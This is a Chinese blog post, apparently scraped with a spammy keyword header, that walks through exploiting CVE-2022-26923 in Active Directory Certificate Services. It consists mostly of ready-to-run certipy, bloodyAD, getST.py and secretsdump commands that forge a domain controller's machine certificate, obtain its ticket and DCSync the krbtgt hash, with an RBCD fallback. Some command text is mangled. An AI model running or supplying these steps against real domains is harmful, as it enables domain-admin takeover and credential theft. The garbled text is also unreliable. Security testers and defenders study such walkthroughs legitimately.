网站建设具备哪些技术人员,下载字体如何在wordpress,wordpress默认缩略图,东莞网站建设制作厂CSDN自动博客文章迁移漏洞简介该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。在默认安装的ADCS里就启用了Machine模板。漏洞利用添加机器账户#xff0c;并将该机器账户dnsHostName指向DC[…CSDN自动博客文章迁移漏洞简介该漏洞允许低权限用户在安装了 Active Directory 证书服务 (AD CS) 服务器角色的默认 Active Directory 环境中将权限提升到域管理员。在默认安装的ADCS里就启用了Machine模板。漏洞利用添加机器账户并将该机器账户dnsHostName指向DC[MAQ默认为10]:certipy account create -u zhangattack.cn -p 321.com -dc-ip 192.168.11.11 -user hacker -pass win123456 -dns dc.attack.cn用该机器账户向ADCS请求证书# TARGET为ADCS机器IPcertipy req -u hacker$attack.cn -p win123456 -target 192.168.11.12 -ca ATTACK-ADCS-CA -template Machine用申请的证书请求DC$的TGT:certipy auth -pfx dc.pfx -dc-ip 192.168.11.11用DC$的nthash去DCSync:secretsdump.py attack.cn/dc$192.168.11.11 -just-dc-user attack/krbtgt -hashes :8ddb967e3951a2601d76e489373bbd0e使用bloodyAD 攻击# 查询MAQ的属性python bloodyAD.py -d attack.cn -u test -p pass123 --host 192.168.11.11 getObjectAttributes DCattack,DCcn ms-DS-MachineAccountQuotapython bloodyAD.py -d attack.cn -u test -p pass123 --host 192.168.11.11 getObjectAttributes DCattack,DCcn ms-DS-MachineAccountQuota# 新增计算机账号 python bloodyAD.py -d attack.cn -u test -p pass123 --host 192.168.11.11 addComputer creme pass123# 设置新增的机器账号的属性DNSHostName指向AD的属性值python bloodyAD.py -d attack.cn -u test -p pass123 --host 192.168.11.11 setAttribute CNcremem,CNComputers,DCattack,DCcn dNSHostName [dc.attack.cn]# 查看dNSHostName属性的指向python bloodyAD.py -d attack.cn -u test -p pass123 --host 192.168.11.11 getObjectAttributes DCattack,DCcn dNSHostName# 运行Certipy生成机器证书可以看到DNSHostName 已经变成了dc.attack.cncertipy req attack.cn/cremem$:pass123dc.attack.cn -ca ATTACK-ADCS-CA -template Machine# 用申请的证书请求DC$的TGTcertipy auth -pfx dc.pfx -dc-ip 192.168.11.11# 用DC$的nthash去DCSyncsecretsdump.py attack.cn/dc$192.168.11.11 -just-dc-user attack/krbtgt -hashes :8ddb967e3951a2601d76e489373bbd0e如果使用certipy请求TGT失败还可以设置RBCD来攻击openssl pkcs12 -in dc.pfx -out dc.pem -nodespython3 bloodyAD.py -c :dc.pem -u win$ --host 192.168.11.11 setRbcd hacker$ dc$getST.py attack.cn/hacker$:win123456 -spn LDAP/dc.attack.cn -impersonate administrator -dc-ip 192.168.11.11export KRB5CCNAMEadministrator.ccachesecretsdump.py -k dc.attack.cn -just-dc-user attack/krbtgt转载请注明Adminxes Blog » ADCS攻击之CVE-2022–26923
